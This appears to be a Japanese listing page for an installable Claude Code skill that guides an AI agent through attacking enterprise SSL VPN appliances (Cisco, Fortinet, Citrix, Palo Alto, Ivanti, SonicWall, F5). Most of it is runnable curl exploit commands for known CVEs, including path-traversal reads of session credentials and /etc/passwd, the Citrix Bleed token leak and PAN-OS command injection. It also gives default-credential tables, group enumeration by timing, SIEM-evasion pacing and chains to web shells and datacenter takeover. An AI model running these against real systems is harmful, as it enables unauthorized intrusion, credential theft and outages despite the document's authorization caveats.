enterprise-vpn-attack について
enterprise-vpn-attackは、企業向けSSL VPNのWebインターフェースを評価するセキュリティテスト用スキルです。ベンダーの特定、既知の脆弱性や認証経路の確認に加え、影響のあるテストやロックアウトのリスクも扱います。
主な機能
- 01VPNベンダーの特定
- 02CVEに沿った検査手順
- 03SAML設定の確認
- 04認証情報とグループの列挙
- 05Nucleiによる初期トリアージ
活用シーン
- 01公開VPN製品の特定
- 02関連する認証前脆弱性の確認
- 03VPNのSAML設定の点検
- 04安全な評価プローブの優先順位付け
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill enterprise-vpn-attackインストール後、Claude Code で/enterprise-vpn-attackを入力して読み込まれたか確認します。
詳細
このスキルを使用するタイミング
偵察で以下が見つかった場合に実行します。
*.<client>.example/+CSCOE+/logon.htmlまたは同様の+CSCOE+パス → Cisco ASA / AnyConnectintranet.*/vpn.*/connect.*/webvpn.*/wc.*/remote.*サブドメイン- ポート 443 が、
Server: Apacheヘッダーや「AnyConnect」、「FortiGate」、「NetScaler」、「GlobalProtect」、「Pulse」、「Ivanti」などのバナーを含むログインページを返す - TCP 8443 / 4443 / 10443 / 8888(一般的な VPN Web 管理ポート)
Set-Cookie: webvpn=(Cisco)/SVPNCOOKIE=(Fortinet)/NSC_AAA=(Citrix)/DSAuthSession=(Pulse)/BIGipServer*(F5)を含む HTTP レスポンス
以下には使用しないでください。
- 足がかりを得た後の内部ラテラルムーブメント(ユーザーの境界条件によりスコープ外)
- VPN クライアント側のバグ(別の攻撃クラス)
- IPsec / L2TP / OpenVPN(SSL VPN の Web スタックとは異なるプロトコル)
ベンダーの特定(フィンガープリンティング)
Cisco ASA / AnyConnect
curl -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"
ASA のバージョン:現行ビルドではバナーに表示されません。JS ファイルのパスから推定するか、特定のパスをテストする必要があります。
# Path-based version hints (older builds leaked builds in URLs)
curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled
curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint
Fortinet FortiGate / FortiOS
curl -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"
バージョン:/remote/info から漏えいすることがあります(旧バージョン)。または /login?username= の 302 レスポンスで確認できます。
Citrix NetScaler / ADC / Gateway
curl -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"
# Version banner
curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era
Palo Alto GlobalProtect
curl -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"
# Version banner via login page
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'
Pulse Secure / Ivanti Connect Secure
curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"
# Version
curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'
SonicWall NetExtender / SMA
curl -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"
F5 Big-IP / APM
curl -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)
CVE マトリックス — 認証前または認証バイパス(2018~2026)
Cisco ASA / AnyConnect
| CVE | 影響対象 | 種類 | テスト |
|---|---|---|---|
| CVE-2018-0296 | ASA の特定の 9.x 未満のビルド | パストラバーサル — 情報漏えい(セッション、設定) | GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua |
| CVE-2020-3452 | 特定のパッチレベル適用前の ASA、FTD | パストラバーサル — ファイル読み取り | GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua とそのバリエーション |
| CVE-2023-20269 | 特定の ASA、FTD | SSL VPN の認証バイパス | /+webvpn+/index.html に対して、グループと有効な認証情報の組み合わせをブルートフォースします |
| CVE-2024-20481 | RAVPN | 細工したハンドシェイクによる DoS | レッドチームではスキップ — 影響を伴います |
# Cisco CVE-2020-3452 — file read
curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5
# Cisco CVE-2018-0296 — path traversal
curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20
# Files commonly retrievable on vulnerable ASA:
# /+CSCOE+/portal_inc.lua (portal inclusions — may reveal local users)
# /+CSCOE+/session_password.html
# /+CSCOE+/files/files.html
Fortinet FortiGate / FortiOS
| CVE | 影響対象 | 種類 | テスト |
|---|---|---|---|
| CVE-2018-13379 | FortiOS 5.4-6.0 | パストラバーサル — sslvpn_websession ファイル読み取り | GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession |
| CVE-2022-42475 | 特定の FortiOS 7.x | ヒープオーバーフロー — 認証前 RCE | 複雑なエクスプロイトです。nuclei のテンプレート CVE-2022-42475 でテストします |
| CVE-2023-27997 (XORtigate) | 複数の FortiOS | ヒープオーバーフロー — 認証前 RCE | 公開 PoC があり、nuclei のテンプレートも利用できます |
| CVE-2024-21762 | FortiOS 6.x-7.x | 範囲外書き込み — 認証前 RCE | 公開 PoC、および nuclei のテンプレート CVE-2024-21762 |
| CVE-2024-55591 | FortiOS 7.0-7.4 | FortiOS の Node.js WebSocket 管理インターフェースにおける認証バイパス | 管理インターフェースのポートで GET /endpoint |
# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read
curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
# Response contains plaintext usernames + sessions if vulnerable
# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):
# IP:PORT username password (and others)
Citrix NetScaler / ADC / Gateway
| CVE | 影響対象 | 種類 | テスト |
|---|---|---|---|
| CVE-2019-19781 (Shitrix) | ADC/Gateway の特定の 10.5-13.0 | パストラバーサル → XML アップロード経由の RCE | GET /vpn/../vpns/cfg/smb.conf |
| CVE-2022-27518 | SAML が設定された ADC/Gateway | 認証前 RCE | 複雑です。nuclei でテストします |
| CVE-2023-3519 | NetScaler ADC/Gateway の特定の 13.0-13.1 | 細工した HTTP 経由の認証前 RCE | 公開 PoC があります |
| CVE-2023-4966 (Citrix Bleed) | NetScaler ADC/Gateway 13.0-14.1 | メモリ漏えい → セッショントークン窃取 | 細工した Host ヘッダーを指定して POST /oauth/idp/.well-known/openid-configuration を送信 — 長い Host ヘッダーにより、レスポンスでメモリ漏えいが発生します |
# Citrix Bleed (CVE-2023-4966) detection
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
# If response is large (>10KB) and contains random memory contents — vulnerable
# Session tokens often present in the memory dump
# CVE-2019-19781 file read
curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'
Palo Alto GlobalProtect
| CVE | 影響対象 | 種類 | テスト |
|---|---|---|---|
| CVE-2024-3400 | GP が有効な PAN-OS 10.2-11.1 | コマンドインジェクション — 認証前 RCE | SESSID=../../../var/log/pan/test.txt を含む細工した Cookie ヘッダーを指定して POST /ssl-vpn/login.esp を送信 |
# CVE-2024-3400 detection
curl -sk -X POST 'https://target/ssl-vpn/login.esp' \
-H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \
--data 'jsessionid=test'
# Look for file-creation side-effect on test path — palo creates file with command output
Pulse Secure / Ivanti Connect Secure / Policy Secure
| CVE | 影響を受ける製品 | 種別 | テスト |
|---|---|---|---|
| CVE-2019-11510 | Pulse Connect Secure 8.x-9.x | 任意ファイル読み取り | GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/ |
| CVE-2021-22893 | Pulse Connect Secure 9.x | 認証前の RCE | 複雑な複数ステップが必要です。nuclei でテストしてください |
| CVE-2024-21887 | Ivanti Connect Secure 9.1-22.6 | Web コンポーネントでのコマンドインジェクション | 細工した本文を指定して POST /api/v1/totp/user-backup-code/ |
| CVE-2023-46805 | Ivanti Connect Secure 9.1-22.6 | 認証バイパス | 完全な攻撃チェーンには 21887 と組み合わせます |
# CVE-2019-11510 — Pulse file read
curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'
SonicWall
| CVE | 影響を受ける製品 | 種別 | テスト |
|---|---|---|---|
| CVE-2021-20016 | SMA 100 シリーズの特定のファームウェア | SQL インジェクション — 認証前 | nuclei テンプレートを利用できます |
| CVE-2024-40766 | SonicOS の特定のバージョン | アクセス制御の不備 | 特定のファームウェアバージョン |
SAML SP / IdP の設定ミス(必ず確認)
現在、ほとんどのエンタープライズ VPN は SSO に SAML を使用しています。SP メタデータを確認してください。
# Cisco ASA
curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50
# Fortinet
curl -sk 'https://target/remote/saml/metadata' | head -50
# Citrix
curl -sk 'https://target/saml/login' | head -30
次の点を確認します。
AuthnRequestsSigned="false"→ XSW の悪用についてはhunt-samlを参照してくださいWantAssertionsSigned="false"→ 重大です。アサーションのリプレイが可能な場合があります- オーディエンス制限の検証不備
- 公開されている SP 署名証明書(リプレイ/偽造攻撃に利用される可能性があります)
デフォルト認証情報(慎重にテストしてください — アカウントロックアウトのリスクがあります)
| ベンダー | ユーザー | パスワード | 備考 |
|---|---|---|---|
| Cisco ASA | admin | cisco | 工場出荷時のデフォルト。実稼働環境ではほとんど見られません |
| Cisco ASA | enable_15 | cisco | コンソール |
| Fortinet | admin | (empty) | 工場出荷時のデフォルト |
| Citrix NetScaler | nsroot | nsroot | 工場出荷時のデフォルト |
| Citrix NetScaler | nsroot | (serial number) | 新しいファームウェア |
| Palo Alto | admin | admin | 工場出荷時のデフォルト |
| Pulse Secure | admin | password | 工場出荷時の設定。CIS 強化済み環境では変更されています |
| F5 Big-IP | root | default | 工場出荷時の設定 |
| F5 Big-IP | admin | admin | よくある別の組み合わせ |
| SonicWall | admin | password | 工場出荷時の設定 |
⚠ ほとんどのエンタープライズ環境では、これらは変更されています。ロックアウトを避けるため、アカウントごとに 2 回以下の試行にとどめてください。
グループ/トンネルグループの列挙(Cisco 固有)
Cisco ASA の AAA グループは、認証なしで列挙できる場合があります。
# Tunnel group enumeration via timing
for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do
ms=$(curl -sk --max-time 10 -o /dev/null -w "%{time_total}" \
-X POST "https://target/+webvpn+/index.html" \
-d "username=test&password=test&group_list=$group&tgroup=&Login=Login")
echo "$group: ${ms}s"
done
# Larger differential timing = group exists; valid groups respond slower in some builds
AAA バックエンドの特定
認証に失敗した後、エラーレスポンスの詳細を確認してください。
| レスポンス内のパターン | AAA バックエンド |
|---|---|
a0=2 (Cisco) | 不明なユーザー |
a0=3 (Cisco) | パスワードが間違っています |
a0=4 (Cisco) | ログインが制限されています |
a0=12 (Cisco) | アカウントがロックされています |
a0=115 (Cisco) | 一般的な認証失敗(LDAP/RADIUS/AD レイヤーのエラー) |
| レスポンス本文に AADSTS | Entra(SAML)をバックエンドとして使用 |
Authentication failed via RADIUS | RADIUS バックエンド |
Invalid username or password(一般的なメッセージ) | LDAP またはローカル DB |
フローに SAML/Entra が見られる場合は、認証情報スプレーの戦略について m365-entra-attack スキルに切り替えてください。
一般的なプローブ手順(5 分でフィンガープリントを取得)
TARGET="vpn.target.com"
# Cisco
curl -skI "https://$TARGET/+CSCOE+/logon.html" 2>&1 | head -3
curl -sk "https://$TARGET/+CSCOE+/saml/sp/metadata" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml
curl -sk --path-as-is "https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest" -o /tmp/cisco_cve.html
# Fortinet
curl -skI "https://$TARGET/remote/login" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt
# Citrix
curl -skI "https://$TARGET/" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/vpn/../vpns/cfg/smb.conf" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" "https://$TARGET/oauth/idp/.well-known/openid-configuration" -o /tmp/citrix_bleed.txt
wc -c /tmp/citrix_bleed.txt
# Palo Alto
curl -skI "https://$TARGET/global-protect/login.esp" 2>&1 | head -3
# Pulse / Ivanti
curl -skI "https://$TARGET/dana-na/auth/url_default/welcome.cgi" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt
迅速なトリアージに使う Nuclei テンプレート
Nuclei には、上記の CVE のほとんどに対応する高品質なテンプレートがあります。1 つのコマンドで一括スキャンできます。
nuclei -u https://target/ \
-tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \
-severity high,critical -rl 5
より広範な脆弱性を対象にするには -as(自動スキャン)を追加しますが、処理は遅くなります。
運用上の注意
- **バナーが削除されたサーバー(バージョン情報が開示されない)**は、多層防御の観点で有効です。CVE が見つからなくても、良好な所見として記録してください
- リクエスト頻度を抑えてください。これらのアプライアンスは多くの場合、すべてのリクエストを SIEM に記録します。間隔に揺らぎを加え、時間をかけて実施してください
- SAML メタデータは匿名で取得できます。取得してください。AAA バックエンドに関する情報を得られます
- 明示的な許可なく、レッドチーム演習で認証前 RCE の PoC を実行しないでください。VPN コンセントレーターを誤って使用不能にすると、クライアントに壊滅的な影響を与えます。まず検出のみのテストを行い、許可を得てから範囲を広げてください
- AAA バックエンドの特定結果を記録してください。ASA が RADIUS からローカル認証に接続しているのか、SAML から Entra に接続しているのかによって、その後の攻撃経路が変わります
隣接するスキルとの連携
m365-entra-attack— AAA バックエンドが Entra SAML の場合。クレデンシャルスプレーの戦略を応用できますhunt-saml— SAML SP の設定に不備がある場合の XSW/署名ストリッピングmid-engagement-ir-detection— アプライアンスは大量のログを生成します。エンゲージメント中に IPS ルールが導入されていないか確認してくださいredteam-mindset— バナーが削除されているからといって「脆弱性がない」とは限りません。動作上のフィンガープリントから調査を続けてください
アンチパターン
- 1 つの CVE パスで 404 が返っただけで「パッチ適用済み」と結論づけないでください — パッチの適用状況にはばらつきがあります。ベンダーごとに 3 件以上の CVE をテストしてください
- バージョンバナーだけを信用しないでください — アプライアンスベンダーは、バージョン文字列を更新せずに修正をバックポートすることがよくあります
- レート制限なしで高負荷の nuclei スキャンを実行しないでください — これらのアプライアンスは重要インフラです
- CVE の PoC を手当たり次第に試してフィンガープリントを取得しないでください — まず、影響の少ない HEAD とバージョンバナーのプローブから始めてください
- SAML メタデータの確認を省略しないでください — アプライアンスにパッチが適用済みでも、SAML SP の設定不備は独立した攻撃対象領域です
関連スキルとチェーン
hunt-rce— 主要な VPN アプライアンス(Pulse Secure、Fortinet、Citrix、Ivanti、Palo Alto)はいずれも、過去 24 か月以内に認証前のパストラバーサルから RCE に至る脆弱性をリリースしています。チェーンのプリミティブ:VPN アプライアンスの CVE(例:Ivanti ICS CVE-2024-21887、Citrix Bleed CVE-2023-4966、Fortinet CVE-2024-21762)→hunt-rceによる認証前のパストラバーサル → Web ルートへの任意ファイル書き込み → ファイルへのリクエスト →root権限での Web シェル → VPN 設定と LDAP バインド認証情報の抽出。hunt-saml— VPN の SAML SP 設定不備は、完全にパッチが適用されたアプライアンスでも残っている場合があります。チェーンのプリミティブ:アプライアンスに最新の CVE 対策パッチが適用済みでも/saml/metadataにアクセス可能 → IdP のフィンガープリントを取得 →hunt-samlによる IdP への XSW またはコメントインジェクション → 偽造されたアサーション → パスワード/MFA なしで VPN セッションを確立。vmware-vcenter-attack— VPN への足掛かりを得た後、次に vCenter へ移るのが自然です。チェーンのプリミティブ:VPN Web シェル → VPN アプライアンス設定から認証情報を抽出(LDAP バインド、RADIUS 共有シークレット)→ 内部 vCenter で再利用 → スコープが許可する場合はvmware-vcenter-attack→ データセンターの乗っ取り。hunt-ntlm-info— 一部の VPN アプライアンスは、管理パスで匿名 NTLM を公開しています。チェーンのプリミティブ:VPN 管理ポータルでの NTLM Type-2 のキャプチャ →hunt-ntlm-infoによる AV_PAIR のデコード → 内部 AD フォレスト名の特定 → 同期されたテナントでm365-entra-attackによる Entra スプレー。mid-engagement-ir-detection+redteam-report-template— VPN アプライアンスの CVE 悪用はノイズが大きく、SOC は迅速にパッチを適用します。チェーンのプリミティブ:CVE を確認 →mid-engagement-ir-detectionでベースラインを取得 → テスト中にアプライアンスが更新された場合は、パッチ適用後の状態を 2 件目の指摘事項として記録 → 両方の指摘事項をtriage-validationで確認 → 重要インフラであることを明示してredteam-report-templateでまとめる。